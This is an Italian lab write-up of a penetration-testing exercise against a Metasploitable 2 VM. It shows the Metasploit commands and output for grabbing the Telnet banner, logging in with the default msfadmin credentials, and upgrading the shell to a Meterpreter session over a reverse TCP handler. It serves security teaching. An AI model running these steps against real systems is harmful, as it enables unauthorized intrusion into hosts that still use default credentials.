S7-L2

Report Tecnico: Analisi e Sfruttamento del Servizio Telnet su Metasploitable

Obiettivo dell'Attività

Di seguito vengono illustrate le procedure seguite per dimostrare la vulnerabilità di un servizio Telnet esposto su un sistema bersaglio (Metasploitable). L'attività di penetration testing è stata condotta simulando un attaccante da una macchina virtuale equipaggiata con Kali Linux, utilizzando le funzionalità del framework Metasploit.

Metodologia ed Esecuzione

1. Inizializzazione della Piattaforma di Attacco
L'operazione ha preso il via dal terminale della macchina attaccante avviando l'interfaccia principale di Metasploit tramite il comando **msfconsole**. Questo ha permesso di accedere all'ambiente operativo necessario per lanciare i moduli di sicurezza.

2. Individuazione e Caricamento del Modulo
Per analizzare il bersaglio, è stato selezionato uno scanner ausiliario dedicato al protocollo **Telnet**. Digitando l'istruzione **use auxiliary/scanner/telnet/telnet_version**, il framework è stato predisposto per interrogare il servizio specifico.

3. Mappatura della Rete e Configurazione
Al fine di indirizzare correttamente la scansione, è stato essenziale adattare le variabili dell'exploit alla topologia di rete. Attraverso il comando **show options**, sono stati esaminati i requisiti del modulo, focalizzandosi in particolare sull'inserimento dell'indirizzo IP della macchina vittima (variabile RHOSTS) e confermando l'utilizzo della porta TCP standard 23 (RPORT).

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-m
                                        etasploit/basics/using-metasploit.html
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.50.101:23     - 192.168.50.101:23 TELNET _                    _      _ _      _     _       __
__  \x0a _ __ ___    ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ `_ \ / _ \ __/
_` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (
_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|____|\x0a
                         |_|                                                  \x0a\x0a\x0aWarning: Never expose t
his VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadm
in to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.50.101:23     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) >
```

4. Lancio dell'Interrogazione ed Enumerazione

Completata la configurazione, l'interazione con il bersaglio è stata avviata tramite il comando ***exploit***. Il modulo di scansione si è connesso alla macchina Metasploitable e ha recuperato il banner di login del sistema. Questo output ha rivelato una grave falla di configurazione, mostrando in chiaro le credenziali predefinite necessarie per l'autenticazione, ovvero utenza e password impostate entrambe su msfadmin.

5. Verifica e Compromissione Finale

Per comprovare l'effettiva validità dei dati intercettati, si è proceduto con un tentativo di accesso manuale. Utilizzando il comando nativo telnet seguito dall'indirizzo IP del target, è stata stabilita una connessione diretta. L'inserimento delle credenziali recuperate (**msfadmin/msfadmin**) ha garantito l'accesso completo alla console del server vulnerabile, confermando l'esito positivo dell'attacco.

Conclusioni

L'esercizio ha dimostrato con successo come l'utilizzo di protocolli non crittografati come Telnet, unito alla mancata modifica delle credenziali di default, esponga i sistemi a compromissioni critiche, permettendo a un attaccante di ottenere facilmente l'accesso al sistema.

EXTRA

1. Autenticazione e Creazione della Sessione

Lo scopo di questa fase consiste nell'ottenere l'accesso al sistema bersaglio (Metasploitable 2) sfruttando le credenziali predefinite del servizio Telnet. Per raggiungere tale obiettivo, si richiede l'impiego del modulo **auxiliary/scanner/telnet/telnet_login**. In fase di configurazione, vengono impostati i seguenti parametri fondamentali:

- **RHOSTS:** per indicare l'indirizzo IP della macchina target.
- **USERNAME** e **PASSWORD:** per definire le credenziali di accesso note.
- **STOP_ON_SUCCESS:** impostato sul valore **true**, in modo da interrompere l'iterazione del modulo al primo login effettuato con esito positivo. A seguito della corretta esecuzione del modulo, il sistema stabilisce automaticamente una sessione di comando con la macchina bersaglio.

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > back
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
```

```
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
```

2. Gestione delle Sessioni

Ottenuto l'accesso iniziale, si procede alla verifica e alla gestione della connessione stabilita. Dalla console di Metasploit, si impartisce il comando **sessions -l** per visualizzare l'elenco di tutte le sessioni attualmente attive e identificare il numero assegnato alla connessione appena creata. Successivamente, per interagire in modo diretto con tale shell, l'operatore immette il comando **sessions -i <ID_sessione>**, sostituendo il parametro con l'identificativo numerico corretto.

3. Upgrade della Sessione a Meterpreter

La fase conclusiva dell'esercizio prevede l'elevazione (upgrade) della command shell standard a una shell Meterpreter, la quale offre funzionalità avanzate di post-exploitation. La procedura si articola nei seguenti passaggi:

- La sessione attiva viene posta in background tramite l'utilizzo della combinazione di tasti Ctrl+Z, confermando successivamente la richiesta digitando y.
- Si seleziona e si carica il modulo **post/multi/manage/shell_to_meterpreter**.
- Si utilizza il comando show options per ispezionare le opzioni disponibili.
- Si effettuano tutte le configurazioni richieste dal modulo (come l'indicazione dell'ID della sessione da elevare) per procedere con successo all'upgrade definitivo.

```
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4433 -> 192.168.50.101:44232) at 2026-04-14 09:02:08 -
0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (
                                       Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION  1                yes       The session to run this module on


View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                      Connection
  --  ----  ----                   -----------                      ----------
  1         shell                  TELNET msfadmin:msfadmin (192.16 192.168.50.100:44023 -> 192.168.
                                   8.50.101:23)                     50.101:23 (192.168.50.101)
  2         meterpreter x86/linux  msfadmin @ metasploitable.locald 192.168.50.100:4433 -> 192.168.5
                                   omain                            0.101:44232 (192.168.50.101)

msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > ls
Listing: /home/msfadmin
=======================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
020666/rw-rw-rw-  0     cha   2010-03-16 19:01:07 -0400  .bash_history
040755/rwxr-xr-x  4096  dir   2010-04-17 14:11:00 -0400  .distcc
040700/rwx------  4096  dir   2026-04-14 06:25:02 -0400  .gconf
040700/rwx------  4096  dir   2026-04-14 06:25:32 -0400  .gconfd
100600/rw-------  4174  fil   2012-05-14 02:01:49 -0400  .mysql_history
100644/rw-r--r--  586   fil   2010-03-16 19:12:59 -0400  .profile
100700/rwx------  4     fil   2012-05-20 14:22:32 -0400  .rhosts
040700/rwx------  4096  dir   2010-05-17 21:43:18 -0400  .ssh
100644/rw-r--r--  0     fil   2010-05-07 14:38:35 -0400  .sudo_as_admin_successful
040755/rwxr-xr-x  4096  dir   2010-04-27 23:44:17 -0400  vulnerable

meterpreter >
```